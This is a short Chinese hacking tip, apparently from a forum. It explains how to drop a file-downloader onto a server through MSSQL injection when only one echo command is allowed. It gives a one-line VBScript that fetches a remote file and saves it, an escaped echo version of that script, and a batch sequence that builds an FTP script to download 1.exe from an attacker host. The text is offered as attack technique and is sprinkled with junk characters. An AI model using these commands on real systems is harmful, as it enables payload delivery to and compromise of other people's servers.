mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
9 ], E8 J1 H6 t+ L$ U9 M8 k4 W1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
. X2 V/ ~2 L8 P7 \/ ]# s# e8 n% Y
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

4 k8 B( [/ d' W这样我们可以一次echo成功,echo版本:

+ |0 Y$ u% l1 F, qecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


: L! s6 G3 V7 ~5 M' K+ B2.bat调用ftp脚本的写法(by envymask)
4 J- b; d+ _/ C% d8 l* y; _
echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
echo s&gt;4.vbs
' d/ H4 C' T1 @* f5 a+ j, Lecho binary&gt;5.vbs
+ k0 N( A- R9 o* eecho get 1.exe&gt;6.vbs
  l) X( O2 }) t# d) hecho bay&gt;7.vbs

copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
: _6 q1 G3 t6 v</P>